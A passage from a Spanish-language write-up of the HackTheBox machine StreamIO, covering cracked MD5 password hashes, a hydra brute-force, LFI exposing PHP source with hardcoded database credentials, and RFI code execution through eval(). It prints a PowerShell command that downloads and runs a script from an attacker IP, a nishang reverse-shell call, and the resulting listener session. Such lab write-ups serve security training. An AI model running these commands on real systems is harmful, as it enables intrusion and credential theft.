[+] Dump data in 'password' of 'users' in 'streamio' row (27): dc332fb5576e9631c9dae83f194f8e70 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (28): 384463526d288edcc95fc3701e523bc7 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (29): b779ba15cedfd22a023c4d8bcf5f2332 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (30): 665a50ac9eaa781e4f7f04199db97a11 ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (31): cce4dc8008d7cf2c8aef5a7c82ac6e8d ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (32): d41b81798500b204e9800998ecf8427e ✓
[+] Dump data in 'password' of 'users' in 'streamio' row (33): d41d8cd98f003004e9800998ecf8427e ✓
 π ~/htb/streamio ❯

Online Password Hash Crack

Utilizando crackstation y md5decrypt logramos identificar y obtener el valor de 13 hashes.

image
image
image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
c660060492d9edcaa8332d89c99c9239: --
925e5408ecb67aea449373d668b7359e : L3m0n@de
083ffae904143c4796e464dac33c1f7d: --
08344b85b329d7efd611b7a7743e8a09: ##123a8j8w5123##
d62be0dc82071bccc1322d64ec5b6c51: --
f87d3c0d6c8fd686aacc6627f1f493a5: !!sabrina$
f03b910e2bd0313a23fdd7575f34a694: --
3577c47eb1e12c8ba021611e1280753c: highschoolmusical
35394484d89fcfdb3c5e447fe749d213: --
54c88b2dbd7b1a84012fabc1a4c73415: $hadoW
fd78db29173a5cf701bd69027cb9bf6b: --
b83439b16f844bd6ffe35c02fe21b3c0: !?Love?!123
0cfaaaafb559f081df2befbe66686de0: --
b22abb47a02b52d5dfa27fb0b534f693: !5psycho8!
1c2b3d8270321140e5153f6637d3ee53: --
22ee218331afd081b0dcd8115284bae3: --
ef8f3d30a856cf166fb8215aca93e9ff: %$clara
3961548825e3e21df5646cafe11c6c76: --
ee0b8a09372b160b2882ea3b2f8dc49f: --
0049ac57646627b8d7aeaccf8b6a936f: --
8097cedd612cc37c29db152b6e9edbd3: --
6dcd87740abb64edfa36d170f0d5450d: $3xybitch
bf55e15b119860a6e6b5a164377da719: --
7df45a9e3de3863807c026ba48e55fb3: --
2a4e2cf22dd8fcb45adcb91be1e22ae8: $monique$1991$
ec33265e5fc8c2f1b0c137bb7b3632b5: --
dc332fb5576e9631c9dae83f194f8e70: --
384463526d288edcc95fc3701e523bc7: --
b779ba15cedfd22a023c4d8bcf5f2332: 66boysandgirls..
665a50ac9eaa781e4f7f04199db97a11: paddpadd
cce4dc8008d7cf2c8aef5a7c82ac6e8d: gato123
d41b81798500b204e9800998ecf8427e: --
d41d8cd98f003004e9800998ecf8427e: --

Intentamos enumerar la base de datos ‘streamio_backup’ pero no es posible obtener información.

Out-of-Band

Durante la explotación de la vulnerabilidad SQLi identificamos que es posible realizar out-of-band utilizando xp_dirtree, sin embargo el hash obtenido no es posible crackearlo con el wordlist rockyou.txt.

image

Website - admin

Con la información encontrada logramos crear dos wordlists con nombres de usuarios y contraseñas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
L3m0n@de
##123a8j8w5123##
!!sabrina$
highschoolmusical
$hadoW
!?Love?!123
!5psycho8!
%$clara
$3xybitch
$monique$1991$
66boysandgirls..
paddpadd
gato123
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
James
Theodore
Samantha
Lauren
Wildiam
Sabrina
Robert
Thane
Carmon
Barry
Oliver
Michelle
Gloria
Victoria
Alexendra
Baxter
Clara
Barbra
Lenord
Austin
Garfield
Juliette
Victor
Lucifer
Bruno
Diablo
Robin
Stan
yoshihide
admin
gato

Login - Brute Force

Utilizamos los wordlist con hydra en el login del dominio, vemos que existen dos combinaciones válidas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/streamio ❯ hydra -L users.txt -P pass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-05 06:20:38
[DATA] max 16 tasks per 1 server, overall 16 tasks, 403 login tries (l:31/p:13), ~26 tries per task
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:Login failed
[443][http-post-form] host: streamio.htb   login: yoshihide   password: 66boysandgirls..
[443][http-post-form] host: streamio.htb   login: gato   password: $monique$1991$
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-05 06:21:00
 π ~/htb/streamio ❯

Admin Panel

Al ingresar nos redirige al index de la página y no muestra contenido diferente. Si recordamos existe una dirección /admin/, tras visitar esta dirección se muestra un panel con distintas opciones. En ‘User management’ se muestra al usuario admin con el boton de eliminar.

image

‘Staff management’ muestra la lista de usuarios que ya encontramos anteriormente con la opcion de eliminar, aunque al realizar clic sobre esta se muestra una alerta.

image
image

‘Staff management’ lista peliculas, en esta es posible eliminar cada una de estas.

image

Finalmente ‘Leave a message for admin’ no muestra ningun contenido.

Navegando por las distintas opciones vemos que muestra un “parametro” en cada una de las páginas. Sin embargo ninguno de estos acepta algun valor numérico o string/letras.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<ul class="nav nav-pills nav-fill">
    <li class="nav-item">
        <a class="nav-link" href="?user=">User management</a>
    </li>
    <li class="nav-item">
        <a class="nav-link" href="?staff=">Staff management</a>
    </li>
    <li class="nav-item">
        <a class="nav-link" href="?movie=">Movie management</a>
    </li>
    <li class="nav-item">
        <a class="nav-link" href="?message=">Leave a message for admin</a>
    </li>
</ul>

User - Yoshihide

Fuzzing - Parameter

Realizamos fuzzing para encontrar nuevos parametros con ffuf junto con el wordlist burp-parameter-names, agregando un filtro de tamaño (-fs 1678). Observamos un parametro nuevo y tres ya conocidos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 π ~/htb/streamio ❯ ffuf -c -w burp-parameter-names.txt -H "Cookie: PHPSESSID=mi8u22limuo3p9jfnan1itenfm" -u "https://streamio.htb/admin/?FUZZ=fuzzorelse" -fs 1678

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://streamio.htb/admin/?FUZZ=fuzzorelse
 :: Wordlist         : FUZZ: burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=mi8u22limuo3p9jfnan1itenfm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 1678
________________________________________________

debug                   [Status: 200, Size: 1712, Words: 90, Lines: 50]
movie                   [Status: 200, Size: 320235, Words: 15986, Lines: 10791]
staff                   [Status: 200, Size: 12484, Words: 1784, Lines: 399]
user                    [Status: 200, Size: 2073, Words: 146, Lines: 63]
:: Progress: [6453/6453] :: Job [1/1] :: 331 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
 π ~/htb/streamio ❯

Observamos que al pasar el parametro debug muestra un mensaje.

image

Nuevamente utilizamos ffuf esta vez para ver que tipo de valor es el que acepta este parametro, esta vez utilizamos el wordlist common. En el resultado se muestra index.php como encontrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/streamio ❯ ffuf -c -w $CM -H "Cookie: PHPSESSID=mi8u22limuo3p9jfnan1itenfm" -u "https://streamio.htb/admin/?debug=FUZZ" -fs 1712

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://streamio.htb/admin/?debug=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Header           : Cookie: PHPSESSID=mi8u22limuo3p9jfnan1itenfm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 1712
________________________________________________

index.php               [Status: 200, Size: 1693, Words: 93, Lines: 47]
:: Progress: [4614/4614] :: Job [1/1] :: 284 req/sec :: Duration: [0:00:17] :: Errors: 0 ::
 π ~/htb/streamio ❯

Tras pasarle este valor vemos que muestra un error, pero segun parece acepta valores con php.

image

Ejecutamos nuevamente ffuf, esta vez con la extensión php, encontramos el nombre master. Al pasar este valor se muestra la página que observamos con el parametro movie.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 π ~/htb/streamio ❯ ffuf -c -w $CM -H "Cookie: PHPSESSID=mi8u22limuo3p9jfnan1itenfm" -u "https://streamio.htb/admin/?debug=FUZZ.php" -fs 1712

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://streamio.htb/admin/?debug=FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Header           : Cookie: PHPSESSID=mi8u22limuo3p9jfnan1itenfm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 1712
________________________________________________

index                   [Status: 200, Size: 1693, Words: 93, Lines: 47]
Index                   [Status: 200, Size: 0, Words: 1, Lines: 1]
master                  [Status: 200, Size: 341564, Words: 17698, Lines: 11123]
:: Progress: [4614/4614] :: Job [1/1] :: 284 req/sec :: Duration: [0:00:30] :: Errors: 0 ::
 π ~/htb/streamio ❯

image

De igual forma “subiendo” un directorio logramos visualizar la pagina contact.php.

image

LFI - Source Code

Utilizando un wrapper de php especificamente para convertir en base64 junto con el nombre de la pagina, en este caso index.php logramos obtener su codigo fuente. Observamos una conexion de base de datos con las credenciales. Además vemos que utiliza include en el parametro debug. Descubrimos paginas nuevas: user_inc.php, staff_inc.php, movie_inc.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
    header('HTTP/1.1 403 Forbidden');
    die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>
<!DOCTYPE html>
<html>
[.. snip ..]
            <?php
                if(isset($_GET['debug']))
                {
                    echo 'this option is for developers only';
                    if($_GET['debug'] === "index.php") {
                        die(' ---- ERROR ----');
                    } else {
                        include $_GET['debug'];
                    }
                }
                else if(isset($_GET['user']))
                    require 'user_inc.php';
                else if(isset($_GET['staff']))
                    require 'staff_inc.php';
                else if(isset($_GET['movie']))
                    require 'movie_inc.php';
                else 
            ?>
        </div>
    </center>
</body>
</html>

Logramos obtener el codigo fuente de estas tres páginas, se observan distintos queries para la tabla movie y users, estos queries toman un id para realizar la consulta, no se observa ningun tipo de filtro por lo que es posible agregar un query al final.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// user_inc.php
<h1>User managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
if(isset($_POST['user_id'])){
    $query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}

$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['username']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//staff_inc.php
<h1>Staff managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));

if(isset($_POST['staff_id'])){
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));

while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)){
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['username']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//movie_inc.php
<h1>Movie managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
if(isset($_POST['movie_id'])){
    $query = "delete from movies where id = ".$_POST['movie_id'];
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}

$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['movie']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST" action="?movie=">
                <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>

Podemos agregar el query separado por punto y coma, este se ejecutaría, similar al sqli del login.

1
movie_id='1722'; WAITFOR DELAY '0:0:5';

También logramos obtener el codigo fuente de register.php y login.php, observamos que existe una función para identificar ciertos caracteres para registro de un usuario, por otro lado el login unicamente acepta como válido al usuario yoshihide. Además observamos que existen dos credenciales para la conexion de base de datos, se observan los usuarios db_user y db_admin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//[.. snip ..]
// register.php
<?php

function bad_char_check($name)
{
  $bad_chars = array('!','"','#','$','%','&','\\','\'','(',')','*','+',',','-','.','/',':',';','<','=','>','?','@','[',']','^','`','{','|','}','~');
  foreach ($bad_chars as $chars) {
    if (strpos($name,$chars) !== false) {
      return false;
    }
  }
  return true;
}

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['confirm']))
{
  # Register here
  ## param check
  ## password match check
  if($_POST['password'] !== $_POST['confirm'])
    {
      ?>
      <div class="alert alert-danger">
        Passwords do not match
      </div>
    <?php 
  }
  ## username check
  $user = $_POST['username'];
  $pass = md5($_POST['password']);
  if (!bad_char_check($user)) {
    ?>
    <div class="alert alert-danger">Bad character detected, please avoid any bad characters while creating a User</div>
    <?php
  }
  else
  {
    $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
    $handle = sqlsrv_connect('(local)',$connection);
    $query = "insert into users(username,password,is_staff) values('$user','$pass',0)";
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));

    ?>
    <div class="alert alert-success">
      Account created
    </div>
    <?php
  }
}

?>
//[.. snip ..]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//[.. snip ..]
//login.php
<?php
$connection = array("Database"=>"STREAMIO" , "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
$handle = sqlsrv_connect('(local)',$connection);
function bad_char_check($name)
{
  $bad_chars = array('!','"','#','$','%','&','\\','\'','(',')','*','+',',','-','.','/',':',';','<','=','>','?','@','[',']','^','`','{','|','}','~');
  foreach ($bad_chars as $chars) {
    if (strpos($name,$chars) !== false) {
      return false;
    }
  }
  return true;
}

if(isset($_POST['username']) && isset($_POST['password']))
{
  # login here
    ## Check from db here dbch
    $user = $_POST['username'];
    $pass = md5($_POST['password']);
    $query = "select * from users where username = '$user' and password = '$pass'";
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
    if(sqlsrv_num_rows($res) == 1 && $user === 'yoshihide')
    {
        # Login success
        $_SESSION['logged_in'] = 1;
        # Admin success
        $_SESSION['admin'] = 1;
        header("Location: https://streamio.htb/");
    }
    else
    {
?>
        <div class="alert alert-danger">Login failed</div> 
<?php
    }
}
?>

//[.. snip ..]

1
2
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$connection = array("Database"=>"STREAMIO" , "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');

Finalmente tenemos al archivo master.php, tiene la mayor parte de codigo de las tres paginas anteriores, sin embargo vemos al final del archivo un formulario con funciones que son vulnerables.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
<h1>Movie managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['movie']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST" action="?movie=">
                <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['username']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['username']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include'])){
    if($_POST['include'] !== "index.php" ) 
        eval(file_get_contents($_POST['include']));
    else
        echo(" ---- ERROR ---- ");
}
?>

Code Injection -> RFI

La función eval() acepta código php y lo ejecuta, mientras que file_get_contents() obtiene el contenido del archivo o url, como de una vulnerabilidad RFI se tratase.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// [.. snip ..]
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include'])){
    if($_POST['include'] !== "index.php" ) 
        eval(file_get_contents($_POST['include']));
    else
        echo(" ---- ERROR ---- ");
}
?>

Para tomar ventaja de lo anterior creamos un archivo que contenga codigo php para ejecutar comandos, en este caso realizamos una consulta DNS, además ejecutamos responder y un servidor HTTP con python.

1
system('nslookup streamiotest 10.10.14.207');

Tomando el cookie de la pagina realizamos la consulta con curl, ya que la respuesta es muy larga enviamos el output a /dev/null. Pasamos la url con el archivo que contiene codigo php, file_get_contents() obtendría su contenido y sería ejecutado por eval().

1
curl -isk -X POST -b 'PHPSESSID=h5bnkjot60p3dlokd7lvrfeqbd' --data 'include=http://10.10.14.207/php.txt' 'https://streamio.htb/admin/?debug=master.php' -o /dev/null

Como podemos observar el comando fue ejecutado y se realizó la consulta DNS.

image

Shell

Utilizamos una de las shells de nishang (Invoke-PowerShellTcp), agregando al final la dirección y puerto.

1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.188 -Port 443

En el codigo php ejecutamos powershell para la descarga y ejecución de la shell.

1
system("powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.207/shell.ps1')");

Tras ejecutar el codigo php logramos obtener una shell como yoshihide.

1
2
3
4
5
6
7
8
9
 π ~/htb/streamio ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from streamio.htb [10.10.11.158] 54252
Windows PowerShell running as user DC$ on DC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide
PS C:\inetpub\streamio.htb\admin>

User - Nikk37

Realizamos una enumeración de los programas instalados, observamos LAPS aunque el usuario actual no pertenece a algun grupo relacionado a este, además tambien se observa el navegador Firefox, al inspeccionar %appdata% no existe la carpeta Mozilla.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
PS C:\> dir "Program Files"


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/22/2022   1:35 AM                Common Files
d-----        2/22/2022   2:57 AM                iis express
d-----        3/28/2022   4:46 PM                internet explorer
d-----        2/22/2022   2:14 AM                LAPS
d-----        2/22/2022   2:52 AM                Microsoft
d-----        2/22/2022   1:54 AM                Microsoft SQL Server
d-----        2/22/2022   1:53 AM                Microsoft Visual Studio 10.0
d-----        2/22/2022   1:53 AM                Microsoft.NET
d-----        2/25/2022  11:35 PM                PHP
d-----        2/22/2022   2:56 AM                Reference Assemblies
d-----        2/22/2022   2:56 AM                runphp
d-----        2/22/2022   1:35 AM                VMware
d-r---        3/28/2022   4:46 PM                Windows Defender
d-----        3/28/2022   6:06 PM                Windows Defender Advanced Threat Protection
d-----        3/28/2022   4:46 PM                Windows Mail
d-----        3/28/2022   4:46 PM                Windows Media Player
d-----        9/15/2018  12:19 AM                Windows Multimedia Platform
d-----        9/15/2018  12:28 AM                windows nt
d-----        3/28/2022   4:46 PM                Windows Photo Viewer
d-----        9/15/2018  12:19 AM                Windows Portable Devices
d-----        9/15/2018  12:19 AM                Windows Security
d-----        9/15/2018  12:19 AM                WindowsPowerShell


PS C:\> dir "Program Files (x86)"


    Directory: C:\Program Files (x86)


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/15/2018  12:28 AM                Common Files
d-----        2/25/2022  11:35 PM                IIS
d-----        2/25/2022  11:38 PM                iis express
d-----        3/28/2022   4:46 PM                Internet Explorer
d-----        2/22/2022   1:54 AM                Microsoft SQL Server
d-----        2/22/2022   1:53 AM                Microsoft.NET
d-----        5/26/2022   4:09 PM                Mozilla Firefox
d-----        5/26/2022   4:09 PM                Mozilla Maintenance Service
d-----        2/25/2022  11:33 PM                PHP
d-----        2/22/2022   2:56 AM                Reference Assemblies
d-----        3/28/2022   4:46 PM                Windows Defender
d-----        3/28/2022   4:46 PM                Windows Mail
d-----        3/28/2022   4:46 PM                Windows Media Player
d-----        9/15/2018  12:19 AM                Windows Multimedia Platform
d-----        9/15/2018  12:28 AM                windows nt
d-----        3/28/2022   4:46 PM                Windows Photo Viewer
d-----        9/15/2018  12:19 AM                Windows Portable Devices
d-----        9/15/2018  12:19 AM                WindowsPowerShell


PS C:\> dir $env:APPDATA


    Directory: C:\Windows\system32\config\systemprofile\AppData\Roaming


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-        2/22/2022   1:33 AM                Microsoft


PS C:\>

WinPEAS

Tras la ejecución de WinPEAS observamos que el puerto 1433 de sqlserver esta a la escucha localmente, además se muestra un hash ntlm del usuario yoshihide, tras intentar crackear este hash con el wordlist rockyou.txt no encontramos algun resultado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[.. snip ..]

???????????? Current TCP Listening Ports
? Check for services restricted from the outside
  Enumerating IPv4 connections

  Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               80            0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               88            0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               135           0.0.0.0               0               Listening         900             svchost
  TCP        0.0.0.0               389           0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               443           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               464           0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               593           0.0.0.0               0               Listening         900             svchost
  TCP        0.0.0.0               636           0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               1433          0.0.0.0               0               Listening         3664            sqlservr
  TCP        0.0.0.0               3268          0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               3269          0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               9389          0.0.0.0               0               Listening         2652            Microsoft.ActiveDirectory.WebServices
  TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               49664         0.0.0.0               0               Listening         480             wininit
  TCP        0.0.0.0               49665         0.0.0.0               0               Listening         1176            svchost
  TCP        0.0.0.0               49666         0.0.0.0               0               Listening         1576            svchost
  TCP        0.0.0.0               49667         0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               49673         0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               49674         0.0.0.0               0               Listening         640             lsass
  TCP        0.0.0.0               49686         0.0.0.0               0               Listening         620             services
  TCP        0.0.0.0               49702         0.0.0.0               0               Listening         2820            dns
  TCP        0.0.0.0               56105         0.0.0.0               0               Listening         2780            dfsrs
  TCP        10.10.11.158          53            0.0.0.0               0               Listening         2820            dns
  TCP        10.10.11.158          139           0.0.0.0               0               Listening         4               System
  TCP        10.10.11.158          54252         10.10.14.207          1338            Established       1756            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  TCP        10.10.11.158          56094         10.10.14.92           4444            Close Wait        5192            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  TCP        127.0.0.1             53            0.0.0.0               0               Listening         2820            dns

[.. snip ..]

???????????? Enumerating Security Packages Credentials
  Version: NetNTLMv2
